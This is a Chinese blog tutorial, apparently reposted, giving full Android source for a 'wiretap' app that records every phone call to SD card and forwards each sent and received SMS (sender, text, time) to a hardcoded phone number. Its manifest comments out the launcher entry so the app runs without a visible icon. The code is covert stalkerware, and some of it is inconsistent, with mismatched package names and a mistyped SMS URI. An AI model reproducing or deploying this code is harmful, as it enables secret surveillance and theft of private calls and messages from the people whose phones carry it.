Android service 服务的应用之电话监听器以及短信监听器

cg4f 9年前

首先建立一个项目工程文件,如下图所示:

首先在MainActivity.java文件启动电话和短信的界面,代码如下

package com.xunfang.wiretap;    import com.xunfang.observer.MyObserver;  import com.xunfang.services.PhoneService;    import android.support.v7.app.ActionBarActivity;  import android.content.Intent;  import android.net.Uri;  import android.os.Bundle;  import android.os.Handler;  import android.view.Menu;  import android.view.MenuItem;      public class MainActivity extends ActionBarActivity {        @Override      protected void onCreate(Bundle savedInstanceState) {          super.onCreate(savedInstanceState);          //电话          setContentView(R.layout.activity_main);          Intent intent = new Intent(this,PhoneService.class);          startService(intent);          //短信          Uri uri = Uri.parse("conten://sms");          getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler()));                }      @Override      public void onBackPressed() {      }  }

然后进入电话管理服务界面PhoeService.java界面。代码如下

package com.xunfang.phoneservice;    import java.io.IOException;    import android.app.Service;  import android.content.Intent;  import android.media.MediaRecorder;  import android.os.IBinder;  import android.telephony.PhoneStateListener;  import android.telephony.TelephonyManager;    public class PhoneService extends Service {        // 管理电话      private TelephonyManager tm;        private MyListener listener;        // 创建一个收音机      private MediaRecorder mr;        @Override      public IBinder onBind(Intent intent) {          return null;      }        @Override      public void onCreate() {          super.onCreate();          // 实例化          tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);            // 监听电话的状态          listener = new MyListener();          // 注册监听者,监听电话的状态          tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);      }        private class MyListener extends PhoneStateListener {          @Override          public void onCallStateChanged(int state, String incomingNumber) {              super.onCallStateChanged(state, incomingNumber);                switch (state) {              case TelephonyManager.CALL_STATE_IDLE: // 空闲状态                  System.out.println("电话空闲");                  if (mr != null) {                      // 说明录音机停止录音了                      mr.stop();                      mr.release();                      mr = null;                  }                  break;              case TelephonyManager.CALL_STATE_OFFHOOK: // 摘机状态(通话状态)                  System.out.println("通话状态");                  // 1.创建一个收音机                  mr = new MediaRecorder();                  // 2.设置音源                  mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET                  // 3.设置录制音频的格式                  mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);                  // 4设置音频的采样率                  mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);                  // 5.设置录制的文件放置的位置                  mr.setOutputFile("/mnt/sdcard/xxx.avi");                  // 6.准备录制                  try {                      mr.prepare();                  } catch( Exception e) {                      e.printStackTrace();                  }                  // 7.开始录制                  mr.start();                    break;              case TelephonyManager.CALL_STATE_RINGING: // 响铃状态                  System.out.println("响铃状态");                  break;              }          }      }    }

然后进入管理短信服务界面MyObserver.java,代码如下所示

package com.xunfang.observer;    import java.text.SimpleDateFormat;  import java.util.Date;    import android.content.ContentResolver;  import android.content.Context;  import android.database.ContentObserver;  import android.database.Cursor;  import android.net.Uri;  import android.os.Handler;  import android.telephony.SmsManager;    public class MyObserver extends ContentObserver {      private Context context;      public MyObserver(Context context,Handler handler) {          super(handler);          this.context = context;      }            @Override       public void onChange(boolean selfChange, Uri uri) {          ContentResolver resolver = context.getContentResolver();          Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");          cursor.moveToFirst();          String address = cursor.getString(0);          String body = cursor.getString(1);          int type = cursor.getInt(2);          long date = cursor.getLong(3);          //将日期格式化,按这个模式输出日期          String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));          //type=1,表示发送短信,而type=2是表示接收短信,这个可以默认系统短信的数据库表导出来看一下          if(type ==2 ){              String sms = "检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time;              String phone = "18883278692";  //这个电话号码是你要将这个信息发送到哪个人的电话号码              //拿到默认短信管理器              SmsManager sm = SmsManager.getDefault();              //发送短信              sm.sendTextMessage(phone, null, sms, null, null) ;              System.out.println("检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time );          }          if(type == 1){              String sms = "检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time;              String phone = "18883278692";      //这个电话号码是你要将这个信息发送到哪个人的电话号码              SmsManager sm = SmsManager.getDefault();              sm.sendTextMessage(phone, null, sms, null, null) ;              System.out.println("检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time );          }       }      }

代码到这里就差不多了,不过千万不要忘了添加权限和服务的申明,在AndroidManifest.xml配置如下

<?xml version="1.0" encoding="utf-8"?>  <manifest xmlns:android="http://schemas.android.com/apk/res/android"      package="com.xunfang.wiretap"      android:versionCode="1"      android:versionName="1.0" >        <uses-sdk          android:minSdkVersion="8"          android:targetSdkVersion="21" />      <uses-permission android:name="android.permission.READ_PHONE_STATE"/>      <uses-permission android:name="android.permission.RECORD_AUDIO"/>      <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>      <uses-permission android:name="android.permission.INTERNET"/>      <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>      <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>      <uses-permission android:name="android.permission.WRITE_SMS"/>      <uses-permission android:name="android.permission.READ_SMS"/>      <uses-permission android:name="android.permission.SEND_SMS"/>        <application          android:allowBackup="true"          android:icon="@drawable/ic_launcher"          android:label="@string/app_name"          android:theme="@style/AppTheme" >         <!--  <activity              android:name=".MainActivity"              android:label="@string/app_name" >              <intent-filter>                  <action android:name="android.intent.action.MAIN" />                    <category android:name="android.intent.category.LAUNCHER" />              </intent-filter>          </activity> -->          <service               android:name="com.xunfang.services.PhoneService"></service>           <receiver               android:name="com.xunfang.broadrecevice.MyBroadReceiver"              >              <intent-filter >                  <action                       android:name="android.intent.action.NEW_OUTGOING_CALL"                      />              </intent-filter>          </receiver>      </application>    </manifest>

到这里已经全部配置完成,可以用真实机进行测试。



来自:http://www.cnblogs.com/ouysq/p/4640991.html